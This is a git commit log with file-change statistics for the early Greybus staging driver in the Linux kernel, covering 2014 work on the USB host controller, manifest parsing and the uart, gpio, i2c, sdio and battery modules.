Date: Sat Sep 13 09:54:35 2014 -0700 greybus: es1: allocate cport out urbs properly drivers/staging/greybus/es1-ap-usb.c | 39 +++++++++++++++++++++++++++++++----- 1 file changed, 34 insertions(+), 5 deletions(-) commit 112997324db001eed32ec67909d5c8eed74a554d Author: Greg Kroah-Hartman Date: Fri Sep 12 21:17:37 2014 -0700 greybus: es1: add the start of cport urb handling. drivers/staging/greybus/es1-ap-usb.c | 122 +++++++++++++++++++++++++++++++++-- drivers/staging/greybus/greybus.h | 2 + 2 files changed, 119 insertions(+), 5 deletions(-) commit 8c53e073f723cec46270cbc98dd690dd209f4fa2 Author: Greg Kroah-Hartman Date: Fri Sep 12 20:47:11 2014 -0700 greybus: AP: move a bunch of svc message handling logic into ap.c Add a send_svc_msg() callback to the host driver. hook up ES1 driver to send control USB messages as it's SVC transport. drivers/staging/greybus/ap.c | 181 +++++++++++++++++++++++++++++++++-- drivers/staging/greybus/es1-ap-usb.c | 168 ++++---------------------------- drivers/staging/greybus/greybus.h | 9 +- 3 files changed, 195 insertions(+), 163 deletions(-) commit ccbb51ed42ce1951fd41f6059ffe71e6fade30a1 Merge: f91121b a6294fe Author: Greg Kroah-Hartman Date: Thu Sep 11 08:22:57 2014 -0700 greybus: Merge branch 'master' of github.com:gregkh/greybus commit f91121b48fda4bba7eb298c51e9a871ec9c538d7 Author: Greg Kroah-Hartman Date: Thu Sep 11 08:22:06 2014 -0700 greybus: Fix build errors on older kernels. Thanks to Marti for pointing out the code didn't build properly on 3.10. Added kernel_ver.h to handle any api mis-matches between the code and older kernel versions. drivers/staging/greybus/gpio-gb.c | 5 +++-- drivers/staging/greybus/kernel_ver.h | 22 ++++++++++++++++++++++ drivers/staging/greybus/sysfs.c | 2 ++ 3 files changed, 27 insertions(+), 2 deletions(-) commit a6294fe8493cf0c98480f42d3057da2f98cc4ec1 Author: Greg Kroah-Hartman Date: Wed Sep 10 17:12:20 2014 -0700 greybus: fix endian issue in sysfs.c drivers/staging/greybus/sysfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3d5453261b6e03b670c408c4139bbcc9076896a8 Author: Greg Kroah-Hartman Date: Tue Sep 9 17:16:54 2014 -0700 greybus: pass appropriate type to create function Based on a patch from Alex Elder . Alex's original description: Every descriptor in a manifest is interpreted by greybus_new_module(). We call a function to do initialization based on descriptor's type. Since we know the type of the descriptor at that point, we can pass to the called function the actual sub-type it needs (i.e., the union member associated with the type). This allows those functions to be slightly simplified, and more focused. Also change some size variables to have size_t type, and simplify a few spots further by using sizeof(object) in place of sizeof(type). drivers/staging/greybus/core.c | 93 +++++++++++++++++++++--------------------- 1 file changed, 47 insertions(+), 46 deletions(-) commit e82bef42fdacd3434bd58738545a98c791fd64d1 Author: Alex Elder Date: Tue Sep 9 13:55:09 2014 -0500 greybus: fix manifest parsing size bug The type-specific "create" routines that get called while parsing the descriptor entries in the module manifest assume the size they are provided is the size of their data portion only--not including the descriptor header. Compute this value in greybus_new_module(), and pass it to those functions rather than the full descriptor size. Move a few declarations to the innermost block that uses them. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit 57fc0a110405ba305b525bede8cdf2e1b00b69a0 Author: Alex Elder Date: Tue Sep 9 13:55:08 2014 -0500 greybus: validate descriptor sizes When interpreting a manifest descriptor header, don't assume there is enough space in the buffer to hold a descriptor header. Also, verify the remaining buffer is at least as big as the reported descriptor size. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit a22e15a1fc8d46139c6ca4b17b81c14783d3f5a2 Author: Alex Elder Date: Tue Sep 9 13:55:07 2014 -0500 greybus: interpret descriptor type properly The type field in a manifest descriptor header is in little endian format. Make sure we interpret it that way. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a5808add9a6cae290af60bb3b4efd2c9d3208588 Author: Alex Elder Date: Tue Sep 9 13:55:06 2014 -0500 greybus: call put_device() on error As soon as we've called device_initialize() we're required to call put_device() in order to drop our reference to the device structure. This was missed in the error path in greybus_new_module(). Fix that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 1 + 1 file changed, 1 insertion(+) commit badad68e3adc3d0b7cbfe66902cb21c97833e242 Author: Alex Elder Date: Tue Sep 9 13:55:04 2014 -0500 greybus: define struct greybus_manifest Define a structure that describes the entire greybus manifest. Adjust greybus_new_module() to use that, making it explicit that it's not just a header that's being provided to that function. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 16 ++++++++-------- drivers/staging/greybus/greybus_manifest.h | 5 +++++ 2 files changed, 13 insertions(+), 8 deletions(-) commit 05ad189c23ad278c5586936bbb08147ac6f479be Author: Alex Elder Date: Tue Sep 9 13:55:03 2014 -0500 greybus: switch to the term "manifest" We agreed to rename a few things to improve clarity. This patch implements one of those changes. The blob of data that describes what's relevant to Greybus within an Ara module will now be called the "module manifest." In addition, in the context of Greybus we'll also be calling what's in an Ara module a "module" or "Greybus module." So this patch renames some structures and updates some comments. It also renames "greybus_desc.h" to be "greybus_manifest.h", and renames greybus_new_device() to be greybus_new_module(). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 2 +- drivers/staging/greybus/core.c | 30 ++++----- drivers/staging/greybus/greybus.h | 4 +- drivers/staging/greybus/greybus_desc.h | 99 ------------------------------ drivers/staging/greybus/greybus_manifest.h | 99 ++++++++++++++++++++++++++++++ 5 files changed, 117 insertions(+), 117 deletions(-) commit d9d077fdbc474150b9494fc45855a9cec781e778 Author: Greg Kroah-Hartman Date: Mon Sep 8 20:11:18 2014 -0700 greybus: es1: forgot to free our urb on disconnect drivers/staging/greybus/es1-ap-usb.c | 1 + 1 file changed, 1 insertion(+) commit 47f6ef12fe6dfc4107597af4a44b045324c53c02 Author: Greg Kroah-Hartman Date: Mon Sep 8 20:09:08 2014 -0700 greybus: es1: finialized USB device structure Set up device properly and start up the SVC interrupt in endpoint for processing data drivers/staging/greybus/es1-ap-usb.c | 129 +++++++++++++++++++++++++++-------- 1 file changed, 102 insertions(+), 27 deletions(-) commit 8b9951480b996eac4699860042bf3d6a0ef4d064 Author: Greg Kroah-Hartman Date: Mon Sep 8 19:34:30 2014 -0700 greybus: es1_ap_desc.c: updated ES1 USB device descriptor Interrupt IN endpoint added. drivers/staging/greybus/es1_ap_desc.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) commit fe3270425f5555bf382178f27327752f3f2c9c4a Author: Greg Kroah-Hartman Date: Sun Sep 7 15:57:07 2014 -0700 greybus: minor whitespace cleanups to make checkpatch.pl happy drivers/staging/greybus/battery-gb.c | 3 +-- drivers/staging/greybus/gbuf.c | 7 ------- 2 files changed, 1 insertion(+), 9 deletions(-) commit d47aa761612c9bc2174718889cdab185cb20b723 Author: Greg Kroah-Hartman Date: Sun Sep 7 15:54:24 2014 -0700 greybus: battery FIXME added drivers/staging/greybus/battery-gb.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 33ea3a3f56d26f10e07ffe16fcaccaad904056d3 Author: Greg Kroah-Hartman Date: Sun Sep 7 15:39:34 2014 -0700 greybus: add battery module drivers/staging/greybus/Makefile | 3 +- drivers/staging/greybus/battery-gb.c | 153 +++++++++++++++++++++++++++++++++++ drivers/staging/greybus/core.c | 8 ++ drivers/staging/greybus/greybus.h | 4 + 4 files changed, 167 insertions(+), 1 deletion(-) commit 43cc32a2ab9ba004fa2fec1893ca5bd3e13f64d2 Author: Greg Kroah-Hartman Date: Sun Sep 7 13:51:12 2014 -0700 greybus: first cut at parsing svc messages sent to the AP drivers/staging/greybus/ap.c | 6 ++ drivers/staging/greybus/es1-ap-usb.c | 147 ++++++++++++++++++++++++++++++++++- 2 files changed, 151 insertions(+), 2 deletions(-) commit 68f1fc4d2c9c908b1a6f00847743545082353e99 Author: Greg Kroah-Hartman Date: Sun Sep 7 13:12:11 2014 -0700 greybus: more hd work drivers/staging/greybus/ap.c | 29 ++++++++++++++++++++++++++--- drivers/staging/greybus/core.c | 18 +++++++++++++++++- drivers/staging/greybus/es1-ap-usb.c | 20 +++++++++++++++++--- drivers/staging/greybus/greybus.h | 5 ++++- 4 files changed, 64 insertions(+), 8 deletions(-) commit a39879fc089c9db1be9d2aee2daf2991424f9a04 Author: Greg Kroah-Hartman Date: Sat Sep 6 16:57:36 2014 -0700 greybus: host controller additions Also some gbuf functions starting to get fleshed out. drivers/staging/greybus/core.c | 16 +++++ drivers/staging/greybus/es1-ap-usb.c | 113 +++++++++++++++++++++++++++-------- drivers/staging/greybus/gbuf.c | 76 ++++++++++++++++++++++- drivers/staging/greybus/greybus.h | 41 +++++++++++-- 4 files changed, 213 insertions(+), 33 deletions(-) commit d6e0e1c552fe83f6694acebf3a34e4b66a143e05 Author: Greg Kroah-Hartman Date: Sat Sep 6 13:13:13 2014 -0700 greybus: add es1_ap_desc.c to describe the ES1 USB device descriptors drivers/staging/greybus/es1_ap_desc.c | 63 +++++++++++++++++++++++++++++++++++ 1 file changed, 63 insertions(+) commit f0e49eb05997d9a835a9537e8c466f1ce01a93cb Author: Greg Kroah-Hartman Date: Sat Sep 6 11:42:25 2014 -0700 greybus: uart-gb: remove unneeded THIS_MODULE setting drivers/staging/greybus/uart-gb.c | 1 - 1 file changed, 1 deletion(-) commit 7fabc884f9be6ad0828c955bfd28d067bbf6a999 Author: Marti Bolivar Date: Fri Sep 5 23:56:10 2014 -0400 greybus: uart-gb.c: dynamically allocate device numbers drivers/staging/greybus/uart-gb.c | 47 +++++++++++++++++++++++++++------------ 1 file changed, 33 insertions(+), 14 deletions(-) commit f8089c0c6e6572b4c1f3483d93e0ec4edff20f53 Author: Marti Bolivar Date: Fri Sep 5 23:56:09 2014 -0400 greybus: uart-gb.c: replace alloc_tty_driver with tty_alloc_driver alloc_tty_driver() is deprecated. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 48123e0e1eb917c577fb48ef25f41823a7b080f9 Author: Greg Kroah-Hartman Date: Tue Sep 2 10:51:56 2014 -0700 greybus: add proper packing to all greybus message types drivers/staging/greybus/greybus_desc.h | 4 ++++ drivers/staging/greybus/svc_msg.h | 4 ++++ 2 files changed, 8 insertions(+) commit 3be03d42cd02402a5aa41d8a55ae3597ef302667 Author: Greg Kroah-Hartman Date: Mon Sep 1 19:10:06 2014 -0700 greybus: minor checkpatch cleanups drivers/staging/greybus/core.c | 5 +++-- drivers/staging/greybus/gpio-gb.c | 3 +-- drivers/staging/greybus/sysfs.c | 3 +++ drivers/staging/greybus/uart-gb.c | 3 +-- 4 files changed, 8 insertions(+), 6 deletions(-) commit 06340efb7cc38fb7184cae6d3705383f468cefbe Author: Greg Kroah-Hartman Date: Mon Sep 1 19:05:54 2014 -0700 greybus: split sysfs functions out to separate file. drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/core.c | 147 --------------------------------- drivers/staging/greybus/greybus.h | 2 + drivers/staging/greybus/sysfs.c | 166 ++++++++++++++++++++++++++++++++++++++ 4 files changed, 169 insertions(+), 147 deletions(-) commit e24e7257b12d409d1ef0a24307b9525093845f1e Author: Greg Kroah-Hartman Date: Mon Sep 1 19:01:14 2014 -0700 greybus: greybus_string() drivers/staging/greybus/core.c | 20 ++++++++++++++++++-- drivers/staging/greybus/greybus.h | 2 +- 2 files changed, 19 insertions(+), 3 deletions(-) commit 21ee4116fdf251b26a0fa6921f771f714f3bcd65 Author: Greg Kroah-Hartman Date: Mon Sep 1 18:57:42 2014 -0700 greybus: module id attributes drivers/staging/greybus/core.c | 86 +++++++++++++++++++++++++++++++++------ drivers/staging/greybus/greybus.h | 2 + 2 files changed, 76 insertions(+), 12 deletions(-) commit 291f3b9e61eb4d4f3cc43f93b8862fbe74c588ae Author: Greg Kroah-Hartman Date: Mon Sep 1 18:41:39 2014 -0700 greybus: serial number attribute added drivers/staging/greybus/core.c | 33 ++++++++++++++++++++++++++++++++- 1 file changed, 32 insertions(+), 1 deletion(-) commit b94295e0502dbe7f0c0d2b572c8b7334b05c279c Author: Greg Kroah-Hartman Date: Mon Sep 1 18:34:28 2014 -0700 greybus: sysfs attributes for functions and more driver core integration. drivers/staging/greybus/core.c | 178 +++++++++++++++++++++++++-------- drivers/staging/greybus/greybus.h | 4 + drivers/staging/greybus/greybus_desc.h | 6 +- 3 files changed, 146 insertions(+), 42 deletions(-) commit 526c5c8d2393da2b74655f12687c30538c469825 Author: Greg Kroah-Hartman Date: Mon Sep 1 16:03:31 2014 -0700 greybus: start parsing descriptor fields drivers/staging/greybus/core.c | 139 +++++++++++++++++++++++++-------- drivers/staging/greybus/gbuf.c | 2 +- drivers/staging/greybus/greybus.h | 23 ++++-- drivers/staging/greybus/greybus_desc.h | 2 +- 4 files changed, 126 insertions(+), 40 deletions(-) commit a239f67c5d3b443597e8dde92bd2d80dc59418a1 Author: Greg Kroah-Hartman Date: Mon Sep 1 14:39:49 2014 -0700 greybus: start parsing descriptor structures drivers/staging/greybus/core.c | 117 ++++++++++++++++++++++++++++++++- drivers/staging/greybus/greybus.h | 4 +- drivers/staging/greybus/greybus_desc.h | 2 +- 3 files changed, 119 insertions(+), 4 deletions(-) commit d94a44a54e9b2df3716e919763763e7095526e4b Author: Greg Kroah-Hartman Date: Mon Sep 1 14:39:34 2014 -0700 greybus: export gb_new_ap_msg so that the es1 module can use it drivers/staging/greybus/ap.c | 2 ++ 1 file changed, 2 insertions(+) commit ec909874c7e0cfe81b8fd1c2a93c97f8a1086afc Author: Greg Kroah-Hartman Date: Mon Sep 1 14:39:14 2014 -0700 greybus: turn off warnings for es1-ap-usb.c to make it easier to build for now... drivers/staging/greybus/es1-ap-usb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6dca7b97c7e0d4ef71c0dad9a3ab939fb6a27033 Author: Greg Kroah-Hartman Date: Mon Sep 1 13:42:43 2014 -0700 greybus: get field names right for descriptors drivers/staging/greybus/core.c | 18 +++++++++++------- drivers/staging/greybus/greybus.h | 21 ++++++++++----------- drivers/staging/greybus/greybus_desc.h | 2 +- drivers/staging/greybus/greybus_id.h | 6 +++--- 4 files changed, 25 insertions(+), 22 deletions(-) commit 6584c8af7045d12249ebbe34b1e370d972abb0ff Author: Greg Kroah-Hartman Date: Mon Sep 1 13:31:31 2014 -0700 greybus: s/greybus_device_id/greybus_module_id/g drivers/staging/greybus/core.c | 12 ++++++------ drivers/staging/greybus/gpio-gb.c | 4 ++-- drivers/staging/greybus/greybus.h | 12 ++++++------ drivers/staging/greybus/greybus_id.h | 2 +- drivers/staging/greybus/i2c-gb.c | 4 ++-- drivers/staging/greybus/sdio-gb.c | 4 ++-- drivers/staging/greybus/uart-gb.c | 4 ++-- 7 files changed, 21 insertions(+), 21 deletions(-) commit d58778002b303bd1915b7e38084feb9df1ea3361 Author: Greg Kroah-Hartman Date: Mon Sep 1 10:59:08 2014 -0700 greybus: more changes due to name changes in the greybus document drivers/staging/greybus/greybus_desc.h | 64 +++++++++++++++++----------------- drivers/staging/greybus/svc_msg.h | 19 +++++----- 2 files changed, 41 insertions(+), 42 deletions(-) commit 712d65915a3ad5bffaa8cd97e6dd951e1d10eabd Author: Greg Kroah-Hartman Date: Mon Sep 1 09:51:51 2014 -0700 greybus: greybus.h: tiny movement around drivers/staging/greybus/greybus.h | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) commit 3772f1610f4f61023019c5639e4e74fd03806f68 Author: Greg Kroah-Hartman Date: Mon Sep 1 09:51:33 2014 -0700 greybus: header file s/u8/__u8/g drivers/staging/greybus/greybus_desc.h | 24 +++++++-------- drivers/staging/greybus/svc_msg.h | 54 +++++++++++++++++----------------- 2 files changed, 39 insertions(+), 39 deletions(-) commit 80ebe8a63134f4418765d6ae9ddcba7427094da8 Author: Greg Kroah-Hartman Date: Sun Aug 31 18:08:52 2014 -0700 greybus: greybus_desc.h created drivers/staging/greybus/ap.c | 2 +- drivers/staging/greybus/greybus_desc.h | 95 ++++++++++++++++++++++++++++++++++ drivers/staging/greybus/svc_msg.h | 15 +++--- 3 files changed, 105 insertions(+), 7 deletions(-) commit b9b2a46265a16702dd77a55f7b7434d27823e702 Author: Greg Kroah-Hartman Date: Sun Aug 31 17:43:38 2014 -0700 greybus: split svc msg out into separate header file drivers/staging/greybus/ap.c | 136 +------------------------------- drivers/staging/greybus/svc_msg.h | 162 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 163 insertions(+), 135 deletions(-) commit 2ecd536de70997a1975fa5547185f0c4e70db203 Author: Greg Kroah-Hartman Date: Sun Aug 31 17:25:22 2014 -0700 greybus: more structure definitions added drivers/staging/greybus/ap.c | 125 ++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 123 insertions(+), 2 deletions(-) commit be1e2e9cd12de6611939d37b468c2ef1939225b2 Author: Greg Kroah-Hartman Date: Sun Aug 31 16:21:33 2014 -0700 greybus: structures added drivers/staging/greybus/ap.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit de536e3094760880569e23166854c99b7c66135c Author: Greg Kroah-Hartman Date: Sun Aug 31 16:17:04 2014 -0700 greybus: ap message loop added. drivers/staging/greybus/Makefile | 9 ++- drivers/staging/greybus/ap.c | 125 +++++++++++++++++++++++++++++++++++ drivers/staging/greybus/core.c | 14 +++- drivers/staging/greybus/debugfs.c | 4 +- drivers/staging/greybus/es1-ap-usb.c | 64 +++++++++++++++++- drivers/staging/greybus/greybus.h | 12 +++- 6 files changed, 219 insertions(+), 9 deletions(-) commit 27fb83109a3901767cbabafeba617d74f70fcbdc Author: Greg Kroah-Hartman Date: Sun Aug 31 13:54:59 2014 -0700 greybus: register the bus with the driver core and add framework for debugfs files. drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/core.c | 24 ++++++++++++++++++++++-- drivers/staging/greybus/debugfs.c | 34 ++++++++++++++++++++++++++++++++++ drivers/staging/greybus/greybus.h | 4 ++-- 4 files changed, 59 insertions(+), 5 deletions(-) commit 6f83ab76b8e6ed3d9b8187ffd97bfd68c8a9a045 Author: Greg Kroah-Hartman Date: Sat Aug 30 17:30:04 2014 -0700 greybus: es1-ap-usb: more init framework added. drivers/staging/greybus/es1-ap-usb.c | 45 ++++++++++++++++++++++++++++++++---- 1 file changed, 41 insertions(+), 4 deletions(-) commit f1eec30ac83cf95d0607a1c736cf42b44846bad8 Author: Greg Kroah-Hartman Date: Sat Aug 30 17:18:14 2014 -0700 greybus: first framework for the es1 ap controller drivers/staging/greybus/es1-ap-usb.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 8bf23e84d7cc2d63cfe433ded084e1052fc6d487 Author: Greg Kroah-Hartman Date: Sat Aug 30 17:18:04 2014 -0700 greybus: actually get the devm() change to build... drivers/staging/greybus/gpio-gb.c | 2 +- drivers/staging/greybus/uart-gb.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit e5f167f1df8c0975ab90489724e7f542cd72dc45 Author: Greg Kroah-Hartman Date: Sat Aug 30 17:11:41 2014 -0700 greybus: can't use devm anymore, we aren't tieing into the driver model lifecycle :( drivers/staging/greybus/gpio-gb.c | 3 ++- drivers/staging/greybus/uart-gb.c | 4 +++- 2 files changed, 5 insertions(+), 2 deletions(-) commit ba4468d4641d959350d69d9ccaab41ffb92355cc Author: Greg Kroah-Hartman Date: Sat Aug 30 17:06:54 2014 -0700 greybus: initial framework for ES1 usb AP driver drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/es1-ap-usb.c | 45 ++++++++++++++++++++++++++++++++++++ 2 files changed, 46 insertions(+) commit eca17c52038f974d406768a6f0ab171b9e81a7c8 Author: Greg Kroah-Hartman Date: Sat Aug 30 16:54:05 2014 -0700 greybus: uart: tie into gb core properly drivers/staging/greybus/uart-gb.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 56f10573be491212dd46ec44789f7a3ffc6e3352 Author: Greg Kroah-Hartman Date: Sat Aug 30 16:52:18 2014 -0700 greybus: sdio: tie into gb core properly drivers/staging/greybus/sdio-gb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 426f29d6be1272dc3e7678144d2ef2a89a1fdd1d Author: Greg Kroah-Hartman Date: Sat Aug 30 16:51:21 2014 -0700 greybus: gpio: tie into gb core properly drivers/staging/greybus/gpio-gb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3d9efaaea3bd49ddd6d06b079812f4af8103d824 Author: Greg Kroah-Hartman Date: Sat Aug 30 16:49:59 2014 -0700 greybus: i2c: use same naming convention everywhere drivers/staging/greybus/i2c-gb.c | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) commit e7e0782c41681856740fbdd63972fba6ec08f943 Author: Greg Kroah-Hartman Date: Sat Aug 30 16:49:05 2014 -0700 greybus: i2c: tie to the proper place on the greybus_device drivers/staging/greybus/i2c-gb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit db6e1fd264ac6716ad9778e9b6cd6bae5a527f5e Author: Greg Kroah-Hartman Date: Sat Aug 30 16:47:26 2014 -0700 greybus: hook up sdio, gpio, and tty into the greybus core. drivers/staging/greybus/Makefile | 5 +---- drivers/staging/greybus/core.c | 41 +++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/gpio-gb.c | 11 +++++++---- drivers/staging/greybus/greybus.h | 10 +++++++++- drivers/staging/greybus/sdio-gb.c | 11 +++++++---- drivers/staging/greybus/uart-gb.c | 15 ++++++++------ 6 files changed, 74 insertions(+), 19 deletions(-) commit 503c1cdbfb5c7570bf64d7b04847861dfd6328fa Author: Greg Kroah-Hartman Date: Sat Aug 30 16:21:03 2014 -0700 greybus: static module_init/exit functions drivers/staging/greybus/core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 199d68d4a8cb3d2318d62a29f74d1838e1069232 Author: Greg Kroah-Hartman Date: Sat Aug 30 16:20:22 2014 -0700 greybus: start moving the function types into the greybus core drivers/staging/greybus/Makefile | 3 +-- drivers/staging/greybus/core.c | 24 ++++++++++++++++++++ drivers/staging/greybus/gpio-gb.c | 12 +++++----- drivers/staging/greybus/greybus.h | 29 ++++++++++++++++++++++++ drivers/staging/greybus/i2c-gb.c | 47 +++++++++++++++++++++------------------ drivers/staging/greybus/sdio-gb.c | 8 +++---- drivers/staging/greybus/uart-gb.c | 21 +++++++---------- 7 files changed, 97 insertions(+), 47 deletions(-) commit caaa8a838dd098fc72f393b871c3f882bfac9e77 Author: Alex Elder Date: Mon Aug 18 18:25:12 2014 -0500 greybus: uart-gb: a few minor bug fixes Here are a few small bug fixes in uart-gb.c: - In wait_serial_change(): - Return -EINVAL if *none* of the relevant flags are set in the "arg" parameter. - Balance the spin_lock_irq() with an unlock call (not another lock). - Rearrange a nested if structure (not a bug fix). - In tty_gb_probe(): - Reset the greybus_device driver data in case of error. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) commit ff5f0b38228fbf10ff58a530a8a462b3b90cc7ef Author: Alex Elder Date: Mon Aug 18 18:25:11 2014 -0500 greybus: uart-gb: improve minor device number error checking When alloc_minor() finds an available minor device number it does not constrain the highest number desired. Instead, it relies on its caller, tty_gb_probe() to see if the returned number indicates all minor numbers have been exhausted. There are a couple problems with this--or rather with this code. First, if an allocation is attempted *after* GB_NUM_MINORS is returned, a new number greater than (but not equal to) GB_NUM_MINORS will be allocated, and that won't produce any error condition. Second, alloc_minor() can return an error code (like -ENOMEM). And its caller is only checking for GB_NUM_MINORS. If an error code is returned, tty_gb_probe() simply uses it. Change alloc_minor() so it requests minor device numbers in the range 0..(GB_NUM_MINORS-1), and use an error return to detect when the minor device numbers have been exhausted. If alloc_minor() returns -ENOSPC (from idr_alloc()), translate that to -ENODEV. The only other error we might see is -ENOMEM, and if we get that, return it. Finally, zero gb_tty->minor when it's released. (If this is actually important a reserved value like GB_NUM_MINORS should be used instead to signify a gb_tty with no minor assigned.) Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) commit e68453ed28c550c448709473ab89cebafa0ee34e Author: Greg Kroah-Hartman Date: Fri Aug 15 19:44:32 2014 +0800 greybus: uart-gb: now builds, more framework added drivers/staging/greybus/uart-gb.c | 221 +++++++++++++++++++++++++++++++++++++- 1 file changed, 216 insertions(+), 5 deletions(-) commit a18e15175708d39abbe9746ddc3479466b7800c3 Author: Greg Kroah-Hartman Date: Fri Aug 15 18:54:11 2014 +0800 greybus: more uart work drivers/staging/greybus/uart-gb.c | 106 ++++++++++++++++++++++++++++++++++++-- 1 file changed, 103 insertions(+), 3 deletions(-) commit ff45c265f849ce42e8d1eb48e49e8176019ec5af Author: Greg Kroah-Hartman Date: Fri Aug 15 18:33:33 2014 +0800 greybus: uart-gb: more work on tty functions drivers/staging/greybus/uart-gb.c | 86 ++++++++++++++++++++++++++++++++++++++- 1 file changed, 84 insertions(+), 2 deletions(-) commit 79c822be7b85c8bfc682c011d06a02fe960773ad Author: Greg Kroah-Hartman Date: Fri Aug 15 16:01:23 2014 +0800 greybus: uart framework added, doesn't build drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/uart-gb.c | 118 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 119 insertions(+) commit e9023d227ab854c9ea3019c226b2c15cb3f3c2ea Author: Greg Kroah-Hartman Date: Tue Aug 12 14:41:49 2014 +0800 greybus: gpio-gb.c: it now builds properly drivers/staging/greybus/gpio-gb.c | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) commit c16854c3bf562a1f7d1dea92309f35fe97e26889 Author: Greg Kroah-Hartman Date: Tue Aug 12 12:00:16 2014 +0800 greybus: gpio driver drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/gpio-gb.c | 108 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 109 insertions(+) commit d5d1903dcd158e220275a64f9f4df6cd06addb82 Author: Greg Kroah-Hartman Date: Mon Aug 11 19:03:20 2014 +0800 greybus: add framework for 'struct gbuf' This is the equlivant of sk_buf or urbs for Greybus. drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/gbuf.c | 42 ++++++++++++++++++++++++++++++++ drivers/staging/greybus/greybus.h | 51 ++++++++++++++++++++++++++++++++++++++- 3 files changed, 93 insertions(+), 2 deletions(-) commit 83ddaaab01c2ababbcaa507a3ecaa80499cf000f Author: Greg Kroah-Hartman Date: Mon Aug 11 17:27:22 2014 +0800 greybus: Greybus SD/MMC host driver Need to add specifics, but this should be enough to hook up to the mmc framework. drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/sdio-gb.c | 88 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 89 insertions(+) commit 776f136c75f2c2346a8fca698ef81d15245f5a00 Author: Greg Kroah-Hartman Date: Mon Aug 11 17:27:07 2014 +0800 greybus: greybus.h: tiny coding style cleanups drivers/staging/greybus/greybus.h | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 53419e07cc94c89307c7b1e698e84f7f9340f37d Author: Greg Kroah-Hartman Date: Mon Aug 11 17:01:15 2014 +0800 greybus: i2c-gb: actually add the i2c adapter properly... drivers/staging/greybus/i2c-gb.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 4c009fada183bbca4dfa40e187268d3ee1040119 Author: Greg Kroah-Hartman Date: Mon Aug 11 15:44:51 2014 +0800 greybus: update README with info on how to build and contact me. drivers/staging/greybus/README | 9 +++++++++ 1 file changed, 9 insertions(+) commit 06823c3eb9c4069f899b0c71d35fd17af945627c Author: Greg Kroah-Hartman Date: Mon Aug 11 15:32:12 2014 +0800 greybus: README and .gitignore updates drivers/staging/greybus/.gitignore | 30 ++++++++---------------------- drivers/staging/greybus/README | 1 + drivers/staging/greybus/README.md | 4 ---- 3 files changed, 9 insertions(+), 26 deletions(-) commit c8a797a98cb63afd620d3ae448e8ee3e45f47088 Author: Greg Kroah-Hartman Date: Mon Aug 11 15:30:45 2014 +0800 greybus: Import most recent greybus code to new repo. drivers/staging/greybus/Makefile | 22 +++++ drivers/staging/greybus/core.c | 153 +++++++++++++++++++++++++++++++++++ drivers/staging/greybus/greybus.h | 97 ++++++++++++++++++++++ drivers/staging/greybus/greybus_id.h | 27 +++++++ drivers/staging/greybus/i2c-gb.c | 122 ++++++++++++++++++++++++++++ 5 files changed, 421 insertions(+) commit cd26f1bd6bf3c73cc5afe848677b430ab342a909 Author: Greg Kroah-Hartman Date: Mon Aug 11 15:29:23 2014 +0800 greybus: Initial commit drivers/staging/greybus/.gitignore | 23 +++ drivers/staging/greybus/LICENSE | 339 +++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/README.md | 4 + 3 files changed, 366 insertions(+)